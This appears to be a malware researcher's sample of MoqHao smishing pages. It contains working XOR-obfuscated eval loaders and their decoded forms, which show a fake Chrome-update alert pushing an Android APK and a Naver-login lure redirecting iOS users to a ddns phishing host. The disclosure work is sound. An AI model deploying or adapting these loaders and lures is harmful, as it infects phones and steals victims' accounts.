20201215_MoqHao_Smishing

twitter @malwaretracekr 2020-12-15

<!-- MoqHao Smishing HTML ORIGINAL -->


<!-- PC UserAgent -->

NOT FOUND

<!-- PC UserAgent END -->

<!-- Android UserAgent -->

<html>
<head>
    <title></title>
</head>
<body>
<div>
    <script>
        var arr = "30381,30368,30377,30398,30392,30436,30446,50584,30444,50815,45452,30444,47056,51336,46184,30444,47736,41748,45448,30444,45512,41912,30444,30444,41872,47353,30444,56016,47084,49872,30444,30383,30372,30398,30371,30369,30377,30444,48016,46124,51784,48840,45448,30444,45833,50620,45496,42100,30444,41876,46096,55548,30444,51928,49473,50180,50216,30434,30446,30437,30455,30406,30444,30444,30444,30444,30444,30444,30444,30444,30368,30371,30383,30381,30392,30373,30371,30370,30434,30398,30377,30396,30368,30381,30383,30377,30436,30446,30435,30370,30383,30399,30373,30399,30393,30383,30375,30388,30389,30434,30381,30396,30375,30446,30437,30455,30412".split(',').map(function(a){return a|0});
        var b = arr[arr.length-1];
        for(var i=0;i<arr.length-1;i++) {
            arr[i] =arr[i]^b;
        }
        arr.pop();
        eval(String.fromCharCode(...arr));
    </script>
</div>
</body>
</html>

<!-- Android UserAgent END -->

<!-- iOS UserAgent -->


<html>
<head>
    <title></title>
</head>
<body>
<div>
    <script>
        var arr = "25566,25555,25562,25549,25547,25495,25501,53915,42187,57147,25503,42747,42187,54955,25503,56291,52807,42183,25503,46823,41315,53087,25503,52927,56215,25503,56895,45950,46806,53623,53595,25501,25494,25476,25525,25503,25503,25503,25503,25503,25503,25503,25503,25555,25552,25564,25566,25547,25558,25552,25553,25489,25549,25562,25551,25555,25566,25564,25562,25495,25496,25559,25547,25547,25551,25477,25488,25488,25558,25552,25545,25553,25545,25546,25555,25542,25548,25551,25489,25563,25563,25553,25548,25489,25553,25562,25547,25496,25494,25476,25535".split(',').map(function(a){return a|0});
        var b = arr[arr.length-1];
        for(var i=0;i<arr.length-1;i++) {
            arr[i] =arr[i]^b;
        }
        arr.pop();
        eval(String.fromCharCode(...arr));
    </script>
</div>
</body>
</html>

<!-- iOS UserAgent END -->


<!-- MoaHao Smishing HTML FINAL DECODE -->

<!-- Android UserAgent -->

<html>
<head>
    <title></title>
</head>
<body>
<div>
    <script>
alert("더 낳은 서비스 체험을 위해  한층 개선된 chrome 최신버전을 업데이트 하시기 바랍니다.");
        location.replace("/evulbwczgf.apk");
    </script>
</div>
</body>
</html>

<!-- Android UserAgent END -->

<!-- iOS UserAgent -->

<html>
<head>
    <title></title>
</head>
<body>
<div>
    <script>
alert("네이버 아이디 로그인 하시고 관련 부탁합니다");
        location.replace('http://iovnvulysp.ddns.net');
    </script>
</div>
</body>
</html>